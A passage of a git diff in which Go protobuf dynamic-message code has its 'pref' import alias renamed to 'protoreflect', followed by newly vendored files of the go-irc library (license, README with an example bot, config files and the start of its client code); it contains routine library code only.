fd.(pref.ExtensionTypeDescriptor).Type().Zero() + return fd.(protoreflect.ExtensionTypeDescriptor).Type().Zero() } return m.known[num] } @@ -199,13 +199,13 @@ func (m *Message) Get(fd pref.FieldDescriptor) pref.Value { } switch { case fd.IsMap(): - return pref.ValueOfMap(&dynamicMap{desc: fd}) + return protoreflect.ValueOfMap(&dynamicMap{desc: fd}) case fd.IsList(): - return pref.ValueOfList(emptyList{desc: fd}) + return protoreflect.ValueOfList(emptyList{desc: fd}) case fd.Message() != nil: - return pref.ValueOfMessage(&Message{typ: messageType{fd.Message()}}) - case fd.Kind() == pref.BytesKind: - return pref.ValueOfBytes(append([]byte(nil), fd.Default().Bytes()...)) + return protoreflect.ValueOfMessage(&Message{typ: messageType{fd.Message()}}) + case fd.Kind() == protoreflect.BytesKind: + return protoreflect.ValueOfBytes(append([]byte(nil), fd.Default().Bytes()...)) default: return fd.Default() } @@ -213,7 +213,7 @@ func (m *Message) Get(fd pref.FieldDescriptor) pref.Value { // Mutable returns a mutable reference to a repeated, map, or message field. // See protoreflect.Message for details. -func (m *Message) Mutable(fd pref.FieldDescriptor) pref.Value { +func (m *Message) Mutable(fd protoreflect.FieldDescriptor) protoreflect.Value { m.checkField(fd) if !fd.IsMap() && !fd.IsList() && fd.Message() == nil { panic(errors.New("%v: getting mutable reference to non-composite type", fd.FullName())) @@ -225,7 +225,7 @@ func (m *Message) Mutable(fd pref.FieldDescriptor) pref.Value { if fd.IsExtension() { if fd != m.ext[num] { m.ext[num] = fd - m.known[num] = fd.(pref.ExtensionTypeDescriptor).Type().New() + m.known[num] = fd.(protoreflect.ExtensionTypeDescriptor).Type().New() } return m.known[num] } @@ -242,7 +242,7 @@ func (m *Message) Mutable(fd pref.FieldDescriptor) pref.Value { // Set stores a value in a field. // See protoreflect.Message for details. -func (m *Message) Set(fd pref.FieldDescriptor, v pref.Value) { +func (m *Message) Set(fd protoreflect.FieldDescriptor, v protoreflect.Value) { m.checkField(fd) if m.known == nil { panic(errors.New("%v: modification of read-only message", fd.FullName())) @@ -250,7 +250,7 @@ func (m *Message) Set(fd pref.FieldDescriptor, v pref.Value) { if fd.IsExtension() { isValid := true switch { - case !fd.(pref.ExtensionTypeDescriptor).Type().IsValidValue(v): + case !fd.(protoreflect.ExtensionTypeDescriptor).Type().IsValidValue(v): isValid = false case fd.IsList(): isValid = v.List().IsValid() @@ -270,7 +270,7 @@ func (m *Message) Set(fd pref.FieldDescriptor, v pref.Value) { m.known[fd.Number()] = v } -func (m *Message) clearOtherOneofFields(fd pref.FieldDescriptor) { +func (m *Message) clearOtherOneofFields(fd protoreflect.FieldDescriptor) { od := fd.ContainingOneof() if od == nil { return @@ -285,20 +285,20 @@ func (m *Message) clearOtherOneofFields(fd pref.FieldDescriptor) { // NewField returns a new value for assignable to the field of a given descriptor. // See protoreflect.Message for details. -func (m *Message) NewField(fd pref.FieldDescriptor) pref.Value { +func (m *Message) NewField(fd protoreflect.FieldDescriptor) protoreflect.Value { m.checkField(fd) switch { case fd.IsExtension(): - return fd.(pref.ExtensionTypeDescriptor).Type().New() + return fd.(protoreflect.ExtensionTypeDescriptor).Type().New() case fd.IsMap(): - return pref.ValueOfMap(&dynamicMap{ + return protoreflect.ValueOfMap(&dynamicMap{ desc: fd, - mapv: make(map[interface{}]pref.Value), + mapv: make(map[interface{}]protoreflect.Value), }) case fd.IsList(): - return pref.ValueOfList(&dynamicList{desc: fd}) + return protoreflect.ValueOfList(&dynamicList{desc: fd}) case fd.Message() != nil: - return pref.ValueOfMessage(NewMessage(fd.Message()).ProtoReflect()) + return protoreflect.ValueOfMessage(NewMessage(fd.Message()).ProtoReflect()) default: return fd.Default() } @@ -306,7 +306,7 @@ func (m *Message) NewField(fd pref.FieldDescriptor) pref.Value { // WhichOneof reports which field in a oneof is populated, returning nil if none are populated. // See protoreflect.Message for details. -func (m *Message) WhichOneof(od pref.OneofDescriptor) pref.FieldDescriptor { +func (m *Message) WhichOneof(od protoreflect.OneofDescriptor) protoreflect.FieldDescriptor { for i := 0; i < od.Fields().Len(); i++ { fd := od.Fields().Get(i) if m.Has(fd) { @@ -318,13 +318,13 @@ func (m *Message) WhichOneof(od pref.OneofDescriptor) pref.FieldDescriptor { // GetUnknown returns the raw unknown fields. // See protoreflect.Message for details. -func (m *Message) GetUnknown() pref.RawFields { +func (m *Message) GetUnknown() protoreflect.RawFields { return m.unknown } // SetUnknown sets the raw unknown fields. // See protoreflect.Message for details. -func (m *Message) SetUnknown(r pref.RawFields) { +func (m *Message) SetUnknown(r protoreflect.RawFields) { if m.known == nil { panic(errors.New("%v: modification of read-only message", m.typ.desc.FullName())) } @@ -337,9 +337,9 @@ func (m *Message) IsValid() bool { return m.known != nil } -func (m *Message) checkField(fd pref.FieldDescriptor) { +func (m *Message) checkField(fd protoreflect.FieldDescriptor) { if fd.IsExtension() && fd.ContainingMessage().FullName() == m.Descriptor().FullName() { - if _, ok := fd.(pref.ExtensionTypeDescriptor); !ok { + if _, ok := fd.(protoreflect.ExtensionTypeDescriptor); !ok { panic(errors.New("%v: extension field descriptor does not implement ExtensionTypeDescriptor", fd.FullName())) } return @@ -355,27 +355,27 @@ func (m *Message) checkField(fd pref.FieldDescriptor) { } type messageType struct { - desc pref.MessageDescriptor + desc protoreflect.MessageDescriptor } // NewMessageType creates a new MessageType with the provided descriptor. // // MessageTypes created by this package are equal if their descriptors are equal. // That is, if md1 == md2, then NewMessageType(md1) == NewMessageType(md2). -func NewMessageType(desc pref.MessageDescriptor) pref.MessageType { +func NewMessageType(desc protoreflect.MessageDescriptor) protoreflect.MessageType { return messageType{desc} } -func (mt messageType) New() pref.Message { return NewMessage(mt.desc) } -func (mt messageType) Zero() pref.Message { return &Message{typ: messageType{mt.desc}} } -func (mt messageType) Descriptor() pref.MessageDescriptor { return mt.desc } -func (mt messageType) Enum(i int) pref.EnumType { +func (mt messageType) New() protoreflect.Message { return NewMessage(mt.desc) } +func (mt messageType) Zero() protoreflect.Message { return &Message{typ: messageType{mt.desc}} } +func (mt messageType) Descriptor() protoreflect.MessageDescriptor { return mt.desc } +func (mt messageType) Enum(i int) protoreflect.EnumType { if ed := mt.desc.Fields().Get(i).Enum(); ed != nil { return NewEnumType(ed) } return nil } -func (mt messageType) Message(i int) pref.MessageType { +func (mt messageType) Message(i int) protoreflect.MessageType { if md := mt.desc.Fields().Get(i).Message(); md != nil { return NewMessageType(md) } @@ -383,42 +383,46 @@ func (mt messageType) Message(i int) pref.MessageType { } type emptyList struct { - desc pref.FieldDescriptor + desc protoreflect.FieldDescriptor } -func (x emptyList) Len() int { return 0 } -func (x emptyList) Get(n int) pref.Value { panic(errors.New("out of range")) } -func (x emptyList) Set(n int, v pref.Value) { panic(errors.New("modification of immutable list")) } -func (x emptyList) Append(v pref.Value) { panic(errors.New("modification of immutable list")) } -func (x emptyList) AppendMutable() pref.Value { panic(errors.New("modification of immutable list")) } -func (x emptyList) Truncate(n int) { panic(errors.New("modification of immutable list")) } -func (x emptyList) NewElement() pref.Value { return newListEntry(x.desc) } -func (x emptyList) IsValid() bool { return false } +func (x emptyList) Len() int { return 0 } +func (x emptyList) Get(n int) protoreflect.Value { panic(errors.New("out of range")) } +func (x emptyList) Set(n int, v protoreflect.Value) { + panic(errors.New("modification of immutable list")) +} +func (x emptyList) Append(v protoreflect.Value) { panic(errors.New("modification of immutable list")) } +func (x emptyList) AppendMutable() protoreflect.Value { + panic(errors.New("modification of immutable list")) +} +func (x emptyList) Truncate(n int) { panic(errors.New("modification of immutable list")) } +func (x emptyList) NewElement() protoreflect.Value { return newListEntry(x.desc) } +func (x emptyList) IsValid() bool { return false } type dynamicList struct { - desc pref.FieldDescriptor - list []pref.Value + desc protoreflect.FieldDescriptor + list []protoreflect.Value } func (x *dynamicList) Len() int { return len(x.list) } -func (x *dynamicList) Get(n int) pref.Value { +func (x *dynamicList) Get(n int) protoreflect.Value { return x.list[n] } -func (x *dynamicList) Set(n int, v pref.Value) { +func (x *dynamicList) Set(n int, v protoreflect.Value) { typecheckSingular(x.desc, v) x.list[n] = v } -func (x *dynamicList) Append(v pref.Value) { +func (x *dynamicList) Append(v protoreflect.Value) { typecheckSingular(x.desc, v) x.list = append(x.list, v) } -func (x *dynamicList) AppendMutable() pref.Value { +func (x *dynamicList) AppendMutable() protoreflect.Value { if x.desc.Message() == nil { panic(errors.New("%v: invalid AppendMutable on list with non-message type", x.desc.FullName())) } @@ -430,12 +434,12 @@ func (x *dynamicList) AppendMutable() pref.Value { func (x *dynamicList) Truncate(n int) { // Zero truncated elements to avoid keeping data live. for i := n; i < len(x.list); i++ { - x.list[i] = pref.Value{} + x.list[i] = protoreflect.Value{} } x.list = x.list[:n] } -func (x *dynamicList) NewElement() pref.Value { +func (x *dynamicList) NewElement() protoreflect.Value { return newListEntry(x.desc) } @@ -444,19 +448,19 @@ func (x *dynamicList) IsValid() bool { } type dynamicMap struct { - desc pref.FieldDescriptor - mapv map[interface{}]pref.Value + desc protoreflect.FieldDescriptor + mapv map[interface{}]protoreflect.Value } -func (x *dynamicMap) Get(k pref.MapKey) pref.Value { return x.mapv[k.Interface()] } -func (x *dynamicMap) Set(k pref.MapKey, v pref.Value) { +func (x *dynamicMap) Get(k protoreflect.MapKey) protoreflect.Value { return x.mapv[k.Interface()] } +func (x *dynamicMap) Set(k protoreflect.MapKey, v protoreflect.Value) { typecheckSingular(x.desc.MapKey(), k.Value()) typecheckSingular(x.desc.MapValue(), v) x.mapv[k.Interface()] = v } -func (x *dynamicMap) Has(k pref.MapKey) bool { return x.Get(k).IsValid() } -func (x *dynamicMap) Clear(k pref.MapKey) { delete(x.mapv, k.Interface()) } -func (x *dynamicMap) Mutable(k pref.MapKey) pref.Value { +func (x *dynamicMap) Has(k protoreflect.MapKey) bool { return x.Get(k).IsValid() } +func (x *dynamicMap) Clear(k protoreflect.MapKey) { delete(x.mapv, k.Interface()) } +func (x *dynamicMap) Mutable(k protoreflect.MapKey) protoreflect.Value { if x.desc.MapValue().Message() == nil { panic(errors.New("%v: invalid Mutable on map with non-message value type", x.desc.FullName())) } @@ -468,9 +472,9 @@ func (x *dynamicMap) Mutable(k pref.MapKey) pref.Value { return v } func (x *dynamicMap) Len() int { return len(x.mapv) } -func (x *dynamicMap) NewValue() pref.Value { +func (x *dynamicMap) NewValue() protoreflect.Value { if md := x.desc.MapValue().Message(); md != nil { - return pref.ValueOfMessage(NewMessage(md).ProtoReflect()) + return protoreflect.ValueOfMessage(NewMessage(md).ProtoReflect()) } return x.desc.MapValue().Default() } @@ -478,15 +482,15 @@ func (x *dynamicMap) IsValid() bool { return x.mapv != nil } -func (x *dynamicMap) Range(f func(pref.MapKey, pref.Value) bool) { +func (x *dynamicMap) Range(f func(protoreflect.MapKey, protoreflect.Value) bool) { for k, v := range x.mapv { - if !f(pref.ValueOf(k).MapKey(), v) { + if !f(protoreflect.ValueOf(k).MapKey(), v) { return } } } -func isSet(fd pref.FieldDescriptor, v pref.Value) bool { +func isSet(fd protoreflect.FieldDescriptor, v protoreflect.Value) bool { switch { case fd.IsMap(): return v.Map().Len() > 0 @@ -494,34 +498,34 @@ func isSet(fd pref.FieldDescriptor, v pref.Value) bool { return v.List().Len() > 0 case fd.ContainingOneof() != nil: return true - case fd.Syntax() == pref.Proto3 && !fd.IsExtension(): + case fd.Syntax() == protoreflect.Proto3 && !fd.IsExtension(): switch fd.Kind() { - case pref.BoolKind: + case protoreflect.BoolKind: return v.Bool() - case pref.EnumKind: + case protoreflect.EnumKind: return v.Enum() != 0 - case pref.Int32Kind, pref.Sint32Kind, pref.Int64Kind, pref.Sint64Kind, pref.Sfixed32Kind, pref.Sfixed64Kind: + case protoreflect.Int32Kind, protoreflect.Sint32Kind, protoreflect.Int64Kind, protoreflect.Sint64Kind, protoreflect.Sfixed32Kind, protoreflect.Sfixed64Kind: return v.Int() != 0 - case pref.Uint32Kind, pref.Uint64Kind, pref.Fixed32Kind, pref.Fixed64Kind: + case protoreflect.Uint32Kind, protoreflect.Uint64Kind, protoreflect.Fixed32Kind, protoreflect.Fixed64Kind: return v.Uint() != 0 - case pref.FloatKind, pref.DoubleKind: + case protoreflect.FloatKind, protoreflect.DoubleKind: return v.Float() != 0 || math.Signbit(v.Float()) - case pref.StringKind: + case protoreflect.StringKind: return v.String() != "" - case pref.BytesKind: + case protoreflect.BytesKind: return len(v.Bytes()) > 0 } } return true } -func typecheck(fd pref.FieldDescriptor, v pref.Value) { +func typecheck(fd protoreflect.FieldDescriptor, v protoreflect.Value) { if err := typeIsValid(fd, v); err != nil { panic(err) } } -func typeIsValid(fd pref.FieldDescriptor, v pref.Value) error { +func typeIsValid(fd protoreflect.FieldDescriptor, v protoreflect.Value) error { switch { case !v.IsValid(): return errors.New("%v: assigning invalid value", fd.FullName()) @@ -547,40 +551,40 @@ func typeIsValid(fd pref.FieldDescriptor, v pref.Value) error { } } -func typecheckSingular(fd pref.FieldDescriptor, v pref.Value) { +func typecheckSingular(fd protoreflect.FieldDescriptor, v protoreflect.Value) { if err := singularTypeIsValid(fd, v); err != nil { panic(err) } } -func singularTypeIsValid(fd pref.FieldDescriptor, v pref.Value) error { +func singularTypeIsValid(fd protoreflect.FieldDescriptor, v protoreflect.Value) error { vi := v.Interface() var ok bool switch fd.Kind() { - case pref.BoolKind: + case protoreflect.BoolKind: _, ok = vi.(bool) - case pref.EnumKind: + case protoreflect.EnumKind: // We could check against the valid set of enum values, but do not. - _, ok = vi.(pref.EnumNumber) - case pref.Int32Kind, pref.Sint32Kind, pref.Sfixed32Kind: + _, ok = vi.(protoreflect.EnumNumber) + case protoreflect.Int32Kind, protoreflect.Sint32Kind, protoreflect.Sfixed32Kind: _, ok = vi.(int32) - case pref.Uint32Kind, pref.Fixed32Kind: + case protoreflect.Uint32Kind, protoreflect.Fixed32Kind: _, ok = vi.(uint32) - case pref.Int64Kind, pref.Sint64Kind, pref.Sfixed64Kind: + case protoreflect.Int64Kind, protoreflect.Sint64Kind, protoreflect.Sfixed64Kind: _, ok = vi.(int64) - case pref.Uint64Kind, pref.Fixed64Kind: + case protoreflect.Uint64Kind, protoreflect.Fixed64Kind: _, ok = vi.(uint64) - case pref.FloatKind: + case protoreflect.FloatKind: _, ok = vi.(float32) - case pref.DoubleKind: + case protoreflect.DoubleKind: _, ok = vi.(float64) - case pref.StringKind: + case protoreflect.StringKind: _, ok = vi.(string) - case pref.BytesKind: + case protoreflect.BytesKind: _, ok = vi.([]byte) - case pref.MessageKind, pref.GroupKind: - var m pref.Message - m, ok = vi.(pref.Message) + case protoreflect.MessageKind, protoreflect.GroupKind: + var m protoreflect.Message + m, ok = vi.(protoreflect.Message) if ok && m.Descriptor().FullName() != fd.Message().FullName() { return errors.New("%v: assigning invalid message type %v", fd.FullName(), m.Descriptor().FullName()) } @@ -594,30 +598,30 @@ func singularTypeIsValid(fd pref.FieldDescriptor, v pref.Value) error { return nil } -func newListEntry(fd pref.FieldDescriptor) pref.Value { +func newListEntry(fd protoreflect.FieldDescriptor) protoreflect.Value { switch fd.Kind() { - case pref.BoolKind: - return pref.ValueOfBool(false) - case pref.EnumKind: - return pref.ValueOfEnum(fd.Enum().Values().Get(0).Number()) - case pref.Int32Kind, pref.Sint32Kind, pref.Sfixed32Kind: - return pref.ValueOfInt32(0) - case pref.Uint32Kind, pref.Fixed32Kind: - return pref.ValueOfUint32(0) - case pref.Int64Kind, pref.Sint64Kind, pref.Sfixed64Kind: - return pref.ValueOfInt64(0) - case pref.Uint64Kind, pref.Fixed64Kind: - return pref.ValueOfUint64(0) - case pref.FloatKind: - return pref.ValueOfFloat32(0) - case pref.DoubleKind: - return pref.ValueOfFloat64(0) - case pref.StringKind: - return pref.ValueOfString("") - case pref.BytesKind: - return pref.ValueOfBytes(nil) - case pref.MessageKind, pref.GroupKind: - return pref.ValueOfMessage(NewMessage(fd.Message()).ProtoReflect()) + case protoreflect.BoolKind: + return protoreflect.ValueOfBool(false) + case protoreflect.EnumKind: + return protoreflect.ValueOfEnum(fd.Enum().Values().Get(0).Number()) + case protoreflect.Int32Kind, protoreflect.Sint32Kind, protoreflect.Sfixed32Kind: + return protoreflect.ValueOfInt32(0) + case protoreflect.Uint32Kind, protoreflect.Fixed32Kind: + return protoreflect.ValueOfUint32(0) + case protoreflect.Int64Kind, protoreflect.Sint64Kind, protoreflect.Sfixed64Kind: + return protoreflect.ValueOfInt64(0) + case protoreflect.Uint64Kind, protoreflect.Fixed64Kind: + return protoreflect.ValueOfUint64(0) + case protoreflect.FloatKind: + return protoreflect.ValueOfFloat32(0) + case protoreflect.DoubleKind: + return protoreflect.ValueOfFloat64(0) + case protoreflect.StringKind: + return protoreflect.ValueOfString("") + case protoreflect.BytesKind: + return protoreflect.ValueOfBytes(nil) + case protoreflect.MessageKind, protoreflect.GroupKind: + return protoreflect.ValueOfMessage(NewMessage(fd.Message()).ProtoReflect()) } panic(errors.New("%v: unknown kind %v", fd.FullName(), fd.Kind())) } @@ -641,73 +645,73 @@ func newListEntry(fd pref.FieldDescriptor) pref.Value { // is determined by these methods, and is therefore equivalent to the Go type // used to represent a protoreflect.Value. See the protoreflect.Value // documentation for more details. -func NewExtensionType(desc pref.ExtensionDescriptor) pref.ExtensionType { - if xt, ok := desc.(pref.ExtensionTypeDescriptor); ok { +func NewExtensionType(desc protoreflect.ExtensionDescriptor) protoreflect.ExtensionType { + if xt, ok := desc.(protoreflect.ExtensionTypeDescriptor); ok { desc = xt.Descriptor() } return extensionType{extensionTypeDescriptor{desc}} } -func (xt extensionType) New() pref.Value { +func (xt extensionType) New() protoreflect.Value { switch { case xt.desc.IsMap(): - return pref.ValueOfMap(&dynamicMap{ + return protoreflect.ValueOfMap(&dynamicMap{ desc: xt.desc, - mapv: make(map[interface{}]pref.Value), + mapv: make(map[interface{}]protoreflect.Value), }) case xt.desc.IsList(): - return pref.ValueOfList(&dynamicList{desc: xt.desc}) + return protoreflect.ValueOfList(&dynamicList{desc: xt.desc}) case xt.desc.Message() != nil: - return pref.ValueOfMessage(NewMessage(xt.desc.Message())) + return protoreflect.ValueOfMessage(NewMessage(xt.desc.Message())) default: return xt.desc.Default() } } -func (xt extensionType) Zero() pref.Value { +func (xt extensionType) Zero() protoreflect.Value { switch { case xt.desc.IsMap(): - return pref.ValueOfMap(&dynamicMap{desc: xt.desc}) - case xt.desc.Cardinality() == pref.Repeated: - return pref.ValueOfList(emptyList{desc: xt.desc}) + return protoreflect.ValueOfMap(&dynamicMap{desc: xt.desc}) + case xt.desc.Cardinality() == protoreflect.Repeated: + return protoreflect.ValueOfList(emptyList{desc: xt.desc}) case xt.desc.Message() != nil: - return pref.ValueOfMessage(&Message{typ: messageType{xt.desc.Message()}}) + return protoreflect.ValueOfMessage(&Message{typ: messageType{xt.desc.Message()}}) default: return xt.desc.Default() } } -func (xt extensionType) TypeDescriptor() pref.ExtensionTypeDescriptor { +func (xt extensionType) TypeDescriptor() protoreflect.ExtensionTypeDescriptor { return xt.desc } -func (xt extensionType) ValueOf(iv interface{}) pref.Value { - v := pref.ValueOf(iv) +func (xt extensionType) ValueOf(iv interface{}) protoreflect.Value { + v := protoreflect.ValueOf(iv) typecheck(xt.desc, v) return v } -func (xt extensionType) InterfaceOf(v pref.Value) interface{} { +func (xt extensionType) InterfaceOf(v protoreflect.Value) interface{} { typecheck(xt.desc, v) return v.Interface() } func (xt extensionType) IsValidInterface(iv interface{}) bool { - return typeIsValid(xt.desc, pref.ValueOf(iv)) == nil + return typeIsValid(xt.desc, protoreflect.ValueOf(iv)) == nil } -func (xt extensionType) IsValidValue(v pref.Value) bool { +func (xt extensionType) IsValidValue(v protoreflect.Value) bool { return typeIsValid(xt.desc, v) == nil } type extensionTypeDescriptor struct { - pref.ExtensionDescriptor + protoreflect.ExtensionDescriptor } -func (xt extensionTypeDescriptor) Type() pref.ExtensionType { +func (xt extensionTypeDescriptor) Type() protoreflect.ExtensionType { return extensionType{xt} } -func (xt extensionTypeDescriptor) Descriptor() pref.ExtensionDescriptor { +func (xt extensionTypeDescriptor) Descriptor() protoreflect.ExtensionDescriptor { return xt.ExtensionDescriptor } diff --git a/vendor/gopkg.in/irc.v3/.gitignore b/vendor/gopkg.in/irc.v3/.gitignore new file mode 100644 index 000000000..b9ddd7b51 --- /dev/null +++ b/vendor/gopkg.in/irc.v3/.gitignore @@ -0,0 +1,6 @@ +*.cover +*.test +*.out + +# As this is a library, we ignore go.sum +go.sum diff --git a/vendor/gopkg.in/irc.v3/.gitmodules b/vendor/gopkg.in/irc.v3/.gitmodules new file mode 100644 index 000000000..8ed389917 --- /dev/null +++ b/vendor/gopkg.in/irc.v3/.gitmodules @@ -0,0 +1,3 @@ +[submodule "testcases"] + path = testcases + url = https://github.com/go-irc/irc-parser-tests/ diff --git a/vendor/gopkg.in/irc.v3/.golangci.yml b/vendor/gopkg.in/irc.v3/.golangci.yml new file mode 100644 index 000000000..cc78dbfba --- /dev/null +++ b/vendor/gopkg.in/irc.v3/.golangci.yml @@ -0,0 +1,15 @@ +linters: + enable-all: true + disable: + - gochecknoglobals + - gomnd + # TODO: re-enable these + - errcheck + - funlen + # TODO: maybe re-enable these + - godox + - wsl + +linters-settings: + govet: + check-shadowing: true diff --git a/vendor/gopkg.in/irc.v3/LICENSE b/vendor/gopkg.in/irc.v3/LICENSE new file mode 100644 index 000000000..7e5e1ab0c --- /dev/null +++ b/vendor/gopkg.in/irc.v3/LICENSE @@ -0,0 +1,18 @@ +Copyright 2016 Kaleb Elwert + +Permission is hereby granted, free of charge, to any person obtaining a copy of +this software and associated documentation files (the "Software"), to deal in +the Software without restriction, including without limitation the rights to +use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of +the Software, and to permit persons to whom the Software is furnished to do so, +subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS +FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR +COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER +IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN +CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/vendor/gopkg.in/irc.v3/README.md b/vendor/gopkg.in/irc.v3/README.md new file mode 100644 index 000000000..a8b1e73b2 --- /dev/null +++ b/vendor/gopkg.in/irc.v3/README.md @@ -0,0 +1,108 @@ +# go-irc + +[![GoDoc](https://img.shields.io/badge/doc-GoDoc-blue.svg)](https://godoc.org/github.com/go-irc/irc) +[![Build Status](https://img.shields.io/github/workflow/status/go-irc/irc/CI.svg)](https://github.com/go-irc/irc/actions) +[![Coverage Status](https://img.shields.io/coveralls/go-irc/irc.svg)](https://coveralls.io/github/go-irc/irc?branch=master) + +This package was originally created to only handle message parsing, +but has since been expanded to include a small abstraction around a +connection and a simple client. + +This library is not designed to hide any of the IRC elements from +you. If you just want to build a simple chat bot and don't want to +deal with IRC in particular, there are a number of other libraries +which provide a more full featured client if that's what you're +looking for. + +This library is meant to stay as simple as possible so it can be a +building block for other packages. + +This library aims for API compatibility whenever possible. New +functions and other additions will most likely not result in a major +version increase unless they break the API. This library aims to +follow the semver recommendations mentioned on gopkg.in. + +Due to complications in how to support x/net/context vs the built-in context +package, only go 1.7+ is officially supported. + +## Import Paths + +All development happens on the `master` branch and when features are +considered stable enough, a new release will be tagged. + +* `gopkg.in/irc.v3` should be used to develop against the commits + tagged as stable +* In previous versions, `github.com/go-irc/irc` used to be able to be + used to develop against the master branch but module support in go + seems to have broken this. + +## Development + +In order to run the tests, make sure all submodules are up to date. If you are +just using this library, these are not needed. + +## Example + +```go +package main + +import ( + "log" + "net" + + "gopkg.in/irc.v3" +) + +func main() { + conn, err := net.Dial("tcp", "chat.freenode.net:6667") + if err != nil { + log.Fatalln(err) + } + + config := irc.ClientConfig{ + Nick: "i_have_a_nick", + Pass: "password", + User: "username", + Name: "Full Name", + Handler: irc.HandlerFunc(func(c *irc.Client, m *irc.Message) { + if m.Command == "001" { + // 001 is a welcome event, so we join channels there + c.Write("JOIN #bot-test-chan") + } else if m.Command == "PRIVMSG" && c.FromChannel(m) { + // Create a handler on all messages. + c.WriteMessage(&irc.Message{ + Command: "PRIVMSG", + Params: []string{ + m.Params[0], + m.Trailing(), + }, + }) + } + }), + } + + // Create the client + client := irc.NewClient(conn, config) + err = client.Run() + if err != nil { + log.Fatalln(err) + } +} +``` + +## Major Version Changes + +### v1 + +Initial release + +### v2 + +- CTCP messages will no longer be rewritten. The decision was made that this + library should pass through all messages without mangling them. +- Remove Message.FromChannel as this is not always accurate, while + Client.FromChannel should always be accurate. + +### v3 + +- Import path changed back to `gopkg.in/irc.v3` without the version suffix. diff --git a/vendor/gopkg.in/irc.v3/client.go b/vendor/gopkg.in/irc.v3/client.go new file mode 100644 index 000000000..7ec176bd0 --- /dev/null +++ b/vendor/gopkg.in/irc.v3/client.go @@ -0,0 +1,338 @@ +package irc + +import ( + "context" + "errors" + "fmt" + "io" + "sync" + "time" +) + +// ClientConfig is a structure used to configure a Client. +type ClientConfig struct { + // General connection information. + Nick string + Pass string + User string + Name string + + // Connection settings + PingFrequency time.Duration + PingTimeout time.Duration + + // SendLimit is how frequent messages can be sent. If this is zero, + // there will be no limit. + SendLimit time.Duration + + // SendBurst is the number of messages which can be sent in a burst. + SendBurst int + + // Handler is used for message dispatching. + Handler Handler +} + +type cap struct { + // Requested means that this cap was requested by the user + Requested bool + + // Required will be true if this cap is non-optional + Required bool + + // Enabled means that this cap was accepted by the server + Enabled bool + + // Available means that the server supports this cap + Available bool +} + +// Client is a wrapper around Conn which is designed to make common operations +// much simpler. +type Client struct { + *Conn + rwc io.ReadWriteCloser + config ClientConfig + + // Internal state + currentNick string + limiter chan struct{} + incomingPongChan chan string + errChan chan error + caps map[string]cap + remainingCapResponses int + connected bool +} + +// NewClient creates a client given an io stream and a client config. +func NewClient(rwc io.ReadWriteCloser, config ClientConfig) *Client { + c := &Client{ + Conn: NewConn(rwc), + rwc: rwc, + config: config, + errChan: make(chan error, 1), + caps: make(map[string]cap), + } + + // Replace the writer writeCallback with one of our own + c.Conn.Writer.writeCallback = c.writeCallback + + return c +} + +func (c *Client) writeCallback(w *Writer, line string) error { + if c.limiter != nil { + <-c.limiter + } + + _, err := w.writer.Write([]byte(line + "\r\n")) + if err != nil { + c.sendError(err) + } + return err +} + +// maybeStartLimiter will start a ticker which will limit how quickly messages +// can be written to the connection if the SendLimit is set in the config. +func (c *Client) maybeStartLimiter(wg *sync.WaitGroup, exiting chan struct{}) { + if c.config.SendLimit == 0 { + return + } + + wg.Add(1) + + // If SendBurst is 0, this will be unbuffered, so keep that in mind. + c.limiter = make(chan struct{}, c.config.SendBurst) + limitTick := time.NewTicker(c.config.SendLimit) + + go func() { + defer wg.Done() + + var done bool + for !done { + select { + case <-limitTick.C: + select { + case c.limiter <- struct{}{}: + default: + } + case <-exiting: + done = true + } + } + + limitTick.Stop() + close(c.limiter) + c.limiter = nil + }() +} + +// maybeStartPingLoop will start a goroutine to send out PING messages at the +// PingFrequency in the config if the frequency is not 0. +func (c *Client) maybeStartPingLoop(wg *sync.WaitGroup, exiting chan struct{}) { + if c.config.PingFrequency <= 0 { + return + } + + wg.Add(1) + + c.incomingPongChan = make(chan string, 5) + + go func() { + defer wg.Done() + + pingHandlers := make(map[string]chan struct{}) + ticker := time.NewTicker(c.config.PingFrequency) + + defer ticker.Stop() + + for { + select { + case <-ticker.C: + // Each time we get a tick, we send off a ping and start a + // goroutine to handle the pong. + timestamp := time.Now().Unix() + pongChan := make(chan struct{}, 1) + pingHandlers[fmt.Sprintf("%d", timestamp)] = pongChan + wg.Add(1) + go c.handlePing(timestamp, pongChan, wg, exiting) + case data := <-c.incomingPongChan: + // Make sure the pong gets routed to the correct + // goroutine. + + c := pingHandlers[data] + delete(pingHandlers, data) + + if c != nil { + c <- struct{}{} + } + case <-exiting: + return + } + } + }() +} + +func (c *Client) handlePing(timestamp int64, pongChan chan struct{}, wg *sync.WaitGroup, exiting chan struct{}) { + defer wg.Done() + + c.Writef("PING :%d", timestamp) + + timer := time.NewTimer(c.config.PingTimeout) + defer timer.Stop() + + select { + case <-timer.C: + c.sendError(errors.New("ping timeout")) + case <-pongChan: + return + case <-exiting: + return + } +} + +// maybeStartCapHandshake will run a CAP LS and all the relevant CAP REQ +// commands if there are any CAPs requested. +func (c *Client) maybeStartCapHandshake() { + if len(c.caps) == 0 { + return + } + + c.Write("CAP LS") + c.remainingCapResponses = 1 // We count the CAP LS response as a normal response + for key, cap := range c.caps { + if cap.Requested { + c.Writef("CAP REQ :%s", key) + c.remainingCapResponses++ + } + } +} + +// CapRequest allows you to request IRCv3 capabilities from the server during +// the handshake. The behavior is undefined if this is called before the +// handshake completes so it is recommended that this be called before Run. If +// the CAP is marked as required, the client will exit if that CAP could not be +// negotiated during the handshake. +func (c *Client) CapRequest(capName string, required bool) { + cap := c.caps[capName] + cap.Requested = true + cap.Required = cap.Required || required + c.caps[capName] = cap +} + +// CapEnabled allows you to check if a CAP is enabled for this connection. Note +// that it will not be populated until after the CAP handshake is done, so it is +// recommended to wait to check this until after a message like 001. +func (c *Client) CapEnabled(capName string) bool { + return c.caps[capName].Enabled +} + +// CapAvailable allows you to check if a CAP is available on this server. Note +// that it will not be populated until after the CAP handshake is done, so it is +// recommended to wait to check this until after a message like 001. +func (c *Client) 